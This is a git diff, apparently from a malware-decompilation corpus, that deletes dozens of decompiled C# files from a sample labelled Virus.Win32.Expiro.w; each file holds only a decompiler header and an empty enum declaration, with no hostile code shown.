C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNAMESPACEWALKFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNAMESPACEWALKFLAG.cs deleted file mode 100644 index 2ae057ab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNAMESPACEWALKFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNAMESPACEWALKFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNAMESPACEWALKFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCECLICKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCECLICKTYPE.cs deleted file mode 100644 index e53adc6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCECLICKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCECLICKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCECLICKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCEHITTEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCEHITTEST.cs deleted file mode 100644 index 08bd933f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCEHITTEST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCEHITTEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNSTCEHITTEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCGNI.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCGNI.cs deleted file mode 100644 index d0bcf678..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCGNI.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCGNI -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNSTCGNI -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCITEMSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCITEMSTATE.cs deleted file mode 100644 index 418be6ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCITEMSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCITEMSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagNSTCITEMSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCROOTSTYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCROOTSTYLE.cs deleted file mode 100644 index ca19637b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCROOTSTYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCROOTSTYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCROOTSTYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCSTYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCSTYLE.cs deleted file mode 100644 index cf43d5a9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCSTYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCSTYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCSTYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECLOSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECLOSE.cs deleted file mode 100644 index 84386d0e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECLOSE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECLOSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLECLOSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECONTF.cs deleted file mode 100644 index 9dbde71f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLECONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEDCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEDCFLAGS.cs deleted file mode 100644 index 09487737..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEDCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEDCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLEDCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEGETMONIKER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEGETMONIKER.cs deleted file mode 100644 index 5819ab9b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEGETMONIKER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEGETMONIKER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLEGETMONIKER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLELINKBIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLELINKBIND.cs deleted file mode 100644 index 2851658d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLELINKBIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLELINKBIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLELINKBIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEMISC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEMISC.cs deleted file mode 100644 index 7c9fe3e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEMISC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEMISC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLEMISC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLERENDER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLERENDER.cs deleted file mode 100644 index 23cb5cf4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLERENDER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLERENDER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLERENDER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEUPDATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEUPDATE.cs deleted file mode 100644 index 724ed08f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEUPDATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEUPDATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagOLEUPDATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEVERBATTRIB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEVERBATTRIB.cs deleted file mode 100644 index 1b7b4878..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEVERBATTRIB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEVERBATTRIB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLEVERBATTRIB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEWHICHMK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEWHICHMK.cs deleted file mode 100644 index 2a2e7611..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEWHICHMK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEWHICHMK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLEWHICHMK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOPEN_AS_INFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOPEN_AS_INFO_FLAGS.cs deleted file mode 100644 index 1c205beb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOPEN_AS_INFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOPEN_AS_INFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagOPEN_AS_INFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGMSG.cs deleted file mode 100644 index 9a0b41d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGMSG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPENDINGMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGTYPE.cs deleted file mode 100644 index f2406067..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPENDINGTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPERSIST_SPROPSTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPERSIST_SPROPSTORE_FLAGS.cs deleted file mode 100644 index d04ac052..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPERSIST_SPROPSTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPERSIST_SPROPSTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPERSIST_SPROPSTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPKA_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPKA_FLAGS.cs deleted file mode 100644 index eeb3c5d0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPKA_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPKA_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPKA_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPOINTERINACTIVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPOINTERINACTIVE.cs deleted file mode 100644 index 78558fdc..00000000 --- 